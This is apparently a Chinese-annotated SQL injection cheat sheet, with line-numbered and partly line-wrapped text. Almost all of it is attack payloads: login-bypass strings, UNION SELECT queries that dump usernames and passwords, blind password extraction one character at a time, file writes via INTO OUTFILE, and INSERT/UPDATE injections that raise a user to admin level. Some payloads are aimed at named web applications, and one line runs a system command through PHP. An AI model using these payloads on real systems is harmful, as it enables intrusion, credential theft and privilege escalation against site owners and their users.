|
1 >' or 1=1 2 ' or '1=1 3 ---'/**//* 4 '%23 5 ' and password='mypass 6 id=-1 union select 1,1,1 7 id=-1 union select char(97),char(97),char(97) 8 id=1 union select 1,1,1 from members 9 id=1 union select 1,1,1 from admin 10 id=1 union select 1,1,1 from user 11 userid=1 and password=mypass 12 userid=1 and mid(password,3,1)=char(112) 13 userid=1 and mid(password,4,1)=char(97) 14 and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) 15 ' and LENGTH(password)='6(探测密码长度) 16 ' and LEFT(password,1)='m 17 ' and LEFT(password,2)='my 18          依次类推 19 ' union select 1,username,password from user/* 20 ' union select 1,username,password from user/* 21 =' union select 1,username,password from user/* (可以是1或者=后直接跟) 22 99999' union select 1,username,password from user/* 23 ' into outfile 'c:/file.txt (导出文件) 24 =' or 1=1 into outfile 'c:/file.txt 25 1' union select 1,username,password from user into outfile 'c:/user.txt 26 select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/fi 27 28 le.txt' 29 id=' union select 1,username,password from user into outfile 30 id=-1 union select 1,database(),version() (灵活应用查询) 31 --常用查询测试语句, 32 select * FROM table where 1=1 33 select * FROM table where 'uuu'='uuu' 34 select * FROM table where 1<>2 35 select * FROM table where 3>2 36 select * FROM table where 2<3 37 select * FROM table where 1 38 select * FROM table where 1+1 39 select * FROM table where 1--1 40 select * FROM table where ISNULL(NULL) 41 select * FROM table where ISNULL(COT(0)) 42 select * FROM table where 1 IS NOT NULL 43 select * FROM table where NULL IS NULL 44 select * FROM table where 2 BETWEEN 1 AND 3 45 select * FROM table where 'b' BETWEEN 'a' AND 'c' 46 select * FROM table where 2 IN (0,1,2) 47 select * FROM table where CASE WHEN 1>0 THEN 1 END 48 --例如:夜猫下载系统1.0版本 49 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 50 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 51 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 52 53 54 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user w 55 56 here id=1 and groupid=1 57 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_u 58 59 ser where id=1 --(替换,寻找密码) 60 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 61 62 and ord(mid(password,1,1))=49 --(验证第一位密码) 63 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 64 65 and ord(mid(password,2,1))=50 --(第二位) 66 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 67 68 and ord(mid(password,3,1))=51 69 ----                     70 ---例如2:灰色轨迹 变换id进行测试(meteor) 71 union%20(select%20allowsmilies,public,userid,'0000-0-0',user (),version()%20FR 72 73 OM%20calendar_events%20where%20eventid%20=% 2013)%20order%20by%20eventdate 74 union%20(select%20allowsmilies,public,userid,'0000-0-0',pass (),version()%20FR 75 76 OM%20calendar_events%20where%20eventid%20=% 2010)%20order%20by%20eventdate 77 ---构造语句: 78 select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events 79 80 where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 81 select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events 82 83 where eventid = 1 union (select 1,1,1,1,username,password from user where use 84 85 rid=1) 86 union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20u ser%20where%20use 87 88 rid%20=%205)%20order%20by%20eventdate 89 union%20(select%201,0,12695,'1999-01-01','a',password%20FROM %20user%20where%2 90 91 0userid=13465)%20order%20by%20eventdate 92 union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%2 0user%20where%20u 93 94 sername='sandflee')%20order%20by%20eventdat e -----(查沙子的id) 95 96 (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10) 97 select * FROM article where articleid='$id' union select * FROM ---(字段和数 98 99 ----据库相同情况下,可直接提交) 100 select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM 101 102 ---- (不同的情况下) 103 ----特殊技巧:在表单,搜索引擎等地方写: 104 "___" 105 ".__ " 106 "% 107 %' ORDER BY articleid/* 108 %' ORDER BY articleid# 109 __' ORDER BY articleid/* 110 __' ORDER BY articleid# 111 $command = "dir c:\";system($command); 112 select * FROM article where articleid='$id' 113 select * FROM article where articleid=$id 114 1' and 1=2 union select * from user where userid=1----/* 句中变为 115 (select * FROM article where articleid='1' and 1=2 union select * from user wh 116 117 ere userid=1/*') 118 1 and 1=2 union select * from user where userid=1 119 ---语句形式:建立一个库,插入: 120 create DATABASE `injection` 121 create TABLE `user` ( 122 `userid` int(11) NOT NULL auto_increment, 123 `username` varchar(20) NOT NULL default '', 124 `password` varchar(20) NOT NULL default '', 125 PRIMARY KEY (`userid`) 126 ) ; 127 insert INTO `user` VALUES (1, 'swap', 'mypass'); 128 129 ----插如一个注册用户: 130 insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (' 131 132 ', '$username', '$password', '$homepage', '1'); 133 "insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$p 134 135 ass','$nom','$email','1')"; 136 insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','',' 137 138 3')#','1') 139 "insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$em 140 141 ail'"; 142 insert INTO membres SET login='',password='',nom='',userlevel='3',email='' 143 "insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 144 update user SET password='$password', homepage='$homepage' where id='$id' 145 update user SET password='MD5(mypass)' where username='admin'#)', homepage='$h 146 147 omepage' where id='$id' 148 "update membres SET password='$pass',nom='$nom',email='$email' where id='$id'" 149 150 ; 151 update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id=' 152 153 [ID]' 154 "update news SET Votes=Votes+1, score=score+$note where idnews='$id'"; 155 长用函数: 156 DATABASE() 157 USER() 158 SYSTEM_USER() 159 SESSION_USER() 160 CURRENT_USER() 161 -----比如: 162 update article SET title=$title where articleid=1 对应函数 163 update article SET title=DATABASE() where id=1 164 ----#把当前数据库名更新到title字段 165 update article SET title=USER() where id=1 166 ---#把当前 MySQL 用户名更新到title字段 167 update article SET title=SYSTEM_USER() where id=1 168 ---#把当前 MySQL 用户名更新到title字段 169 update article SET title=SESSION_USER() where id=1 170 ---#把当前 MySQL 用户名更新到title字段 171 update article SET title=CURRENT_USER() where id=1 172 ---#把当前会话被验证匹配的用户名更新到title字段 173 ::::::::::::::::::::::::::::::::::::::: 174 175 :::::::::::::::::::::::::::::::::::: 176 $req = "select * FROM membres where name like '%$search%' ORDER BY name"; 177 select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 178 select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 179 select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' ----( 180 181 经典) 182 select uid FROM admins where login='' OR admin_level=1#' AND password='' 183 select * FROM table where msg like '%hop' 184 select uid FROM membres where login='Bob' AND password like 'a%'#' AND passwor 185 186 d='' 187 select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 188
|